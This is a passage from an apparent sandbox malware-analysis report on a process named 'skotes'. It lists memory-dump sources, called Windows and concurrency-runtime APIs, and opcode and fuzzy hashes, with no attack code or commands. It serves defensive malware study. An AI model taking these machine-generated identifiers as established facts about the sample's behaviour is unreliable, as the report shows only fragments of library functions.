Function 0029B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,53F67923,?,?,0027D3FC,53F67923,?,00277A8B,?,?,?,?,?,?,00267465,?), ref: 0029B07D

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6d11e49b27051b27036af8f085cbd707b3168481a2054acd8c57a76984a7e326
Instruction ID: 97ba948155778d89c13ca6bcb00b3de3f6492d6a86202499c6abde13d9934f9b
Opcode Fuzzy Hash: 6d11e49b27051b27036af8f085cbd707b3168481a2054acd8c57a76984a7e326
Instruction Fuzzy Hash: 35E0223117122396EF333A35BE44B6FB6488F423F0F261220EE64A20A0EB51CC30C5E1

Function 002A1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,002A1B65,?,?,00000000,?,002A1B65,00000000,0000000C), ref: 002A1792

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fbb64f9b294bc6aa84ab8330b45bd7db0a297f3aa92e70beedc5f61ad930b21a
Instruction ID: 166c96c1c32d126547c61e50984c77ca5c44be34afde8ee726b27056f8683a60
Opcode Fuzzy Hash: fbb64f9b294bc6aa84ab8330b45bd7db0a297f3aa92e70beedc5f61ad930b21a
Instruction Fuzzy Hash: BAD0923204020DBFDF129E84DC02EDA3BAAFB88754F014100BE1866160C732E872EB94

Function 04F10BDE Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3294268227.0000000004F10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2f5a398d8af001830845bfbe89650470bea4be8774ba6ec5598b91a44808509
Instruction ID: 09b3cc2e249b9b735e5d080e9384ae0e0018b091e6a27955f85de208253bbee9
Opcode Fuzzy Hash: c2f5a398d8af001830845bfbe89650470bea4be8774ba6ec5598b91a44808509
Instruction Fuzzy Hash: AF2104E730E255BDE24291411B44AF67B6DE3CA7703308026F407D9D22FA981ACB3971

Function 04F10B9A Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3294268227.0000000004F10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dd7d6d06cfd4b8dc6a3b3e662ea4447e0a04f18eeefb462da28f1b624896dd8
Instruction ID: 02ae82fb1aa346fc8b741aa13fa17c72e5aff6b442aa21c978b7b581655d1cac
Opcode Fuzzy Hash: 9dd7d6d06cfd4b8dc6a3b3e662ea4447e0a04f18eeefb462da28f1b624896dd8
Instruction Fuzzy Hash: CC11D5F730E152FDE14295455B44AF63B6DE396370330842AF407C5D22FE956ACB6921

Function 04F10BF8 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3294268227.0000000004F10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 752d26ce4310791df615dc549ffbf8bef11f5b5e9956832227ea2a95c475f0b9
Instruction ID: db3dd6d8bed8693838b71f554414168d4833b088689f5a012c39c6e43a61e0cb
Opcode Fuzzy Hash: 752d26ce4310791df615dc549ffbf8bef11f5b5e9956832227ea2a95c475f0b9
Instruction Fuzzy Hash: 5411C1E734E152FDA54295455B44AF63A6EF38A370330842AF44BC5D22FE986ACB6930

Function 04F10C23 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3294268227.0000000004F10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8db7141c4f292d25e047b1a4baea4b55e3d27068ed67778dc8af87c0d1afadb
Instruction ID: 0349a5eead5a59db9022f75abaa88b4fab718d1b0d37f2d279b16afac6a83410
Opcode Fuzzy Hash: c8db7141c4f292d25e047b1a4baea4b55e3d27068ed67778dc8af87c0d1afadb
Instruction Fuzzy Hash: DE115BE724E251BEE20251552B545FA3B7EE7D7330330403BF406C6D23FA445A8B6621

Function 04F10BD2 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3294268227.0000000004F10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a17555aba9457d0f4d3d86f92e762edba8614214f3662addc79077940c284fe
Instruction ID: da9aa9aeace27252fa1fe9398df771f68bc68894f840b733e92977614b7df18c
Opcode Fuzzy Hash: 2a17555aba9457d0f4d3d86f92e762edba8614214f3662addc79077940c284fe
Instruction Fuzzy Hash: E801C8EB34E152FDE14251415B44AF62A6DF3D53707318025B807C5D22FE986ACB7C31

Function 04F10C14 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3294268227.0000000004F10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b83e8d40765f4bcdde80879860f5bfbab1a36426d50fb801c8a00052df188f6c
Instruction ID: 8383d2f5499248a84119f864190c1d72986a1f226f8e1d45e9787cd50116a622
Opcode Fuzzy Hash: b83e8d40765f4bcdde80879860f5bfbab1a36426d50fb801c8a00052df188f6c
Instruction Fuzzy Hash: DB01B9E734E152BDE54291455B449F62A6EF3D67303318425F807C4D22FF996ACB3931

Function 04F10C88 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3294268227.0000000004F10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25a958811af55462b65ab3875b46a712f6dc93e1a5d61f5a2beb32189c16017e
Instruction ID: bc38d5ad862191df42ab32308bca9028803bcc103c59b3f2114a66d9bc4a62bd
Opcode Fuzzy Hash: 25a958811af55462b65ab3875b46a712f6dc93e1a5d61f5a2beb32189c16017e
Instruction Fuzzy Hash: A80149F3509281FFE60182649A949F6BB7CF796730330446EF84397812FE681986A921

Function 04F10D0A Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3294268227.0000000004F10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e10c156a4836acd755b7cd80e57ede3870af24a82ee8701362b69654690ce72
Instruction ID: 68e1895fdd453c07b2e4b295589de9b72ce7d4c1212a9299c38e491477ac4c99
Opcode Fuzzy Hash: 5e10c156a4836acd755b7cd80e57ede3870af24a82ee8701362b69654690ce72
Instruction Fuzzy Hash: 92F04EE754E1C1BDE60241956B445F17F3DF6C6630331405BF45285823FE94158AB571

Function 04F10C9D Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3294268227.0000000004F10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e82ec31993ea7d3237c427c98abf2cadba2cf9662b55815c17e2110fb44efe7
Instruction ID: 05b81607507a60d0f425cdc297f6f91539012bd1a596e1b9ed7a78f1ff91d24e
Opcode Fuzzy Hash: 9e82ec31993ea7d3237c427c98abf2cadba2cf9662b55815c17e2110fb44efe7
Instruction Fuzzy Hash: 3D0149F3109281BFE6019264AE989F6BB3CF78573073144AEF802D7452FE98168AA521

Function 04F10C61 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3294268227.0000000004F10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a30c082c44f74958296ebe7da403317dd663c2a95195d5fb09554bdbf0ed921
Instruction ID: c5a56a59593af1aed7b80011a97fefa840cff7628110a5e013dc61fe088da6ce
Opcode Fuzzy Hash: 1a30c082c44f74958296ebe7da403317dd663c2a95195d5fb09554bdbf0ed921
Instruction Fuzzy Hash: D9F0A4EB249151BDA54152816B48AF6666EF3D53303318026F407C4922FF986A8A3931

Function 04F10C73 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3294268227.0000000004F10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d688e4984bd9a840ab0b329f55dc1d9daedf6be53315a8ca4547b014f6a5a417
Instruction ID: bbaf434ec5b623471036f8d34036ad1b8a159bc6bc8c3b7baafa1faacfc8864b
Opcode Fuzzy Hash: d688e4984bd9a840ab0b329f55dc1d9daedf6be53315a8ca4547b014f6a5a417
Instruction Fuzzy Hash: 8AF0C2B720D211BDE64195956B449F63B6EF3C53303318026F406C0822FE986A867930

Function 04F10CDA Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3294268227.0000000004F10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8da7e3b6b7f53e2cf971ede5eadba73828e66137a4a6429c7b0949aef61bb7b
Instruction ID: d784d5b56aa734d059bf5271d669893f56caac1ea43fb1d102060fe41820dafd
Opcode Fuzzy Hash: a8da7e3b6b7f53e2cf971ede5eadba73828e66137a4a6429c7b0949aef61bb7b
Instruction Fuzzy Hash: 4BF05CE340C6516EE60181A12B946FA7B7EF6D7730736803AF842CA423FF995B9B5131

Non-executed Functions

Function 00280E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00280F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00280F62

Part of subcall function 0028265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00282750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00280FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00280FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0028103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0028106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 002810C1

Strings

(, xrefs: 00280F22

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 6212fc50f1bc458cbf2b0819815def807b950990adf2b94688a031bcb19ab01d
Instruction ID: 886d1a090a34ddaa5644e8d842eb9147e44053ddfd22f004880be4f6465637a7
Opcode Fuzzy Hash: 6212fc50f1bc458cbf2b0819815def807b950990adf2b94688a031bcb19ab01d
Instruction Fuzzy Hash: D1B18CB4A11616EFCB18DF58DD80A6ABBB8FF44304F108169E905AB685D730FDA1CB90

Function 00281602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00282CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00282D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00281614

Part of subcall function 00282E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00282E39
Part of subcall function 00282E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00282EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00281746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 002817A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 002817B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 002817ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0028180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0028181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00281823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0028183B

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

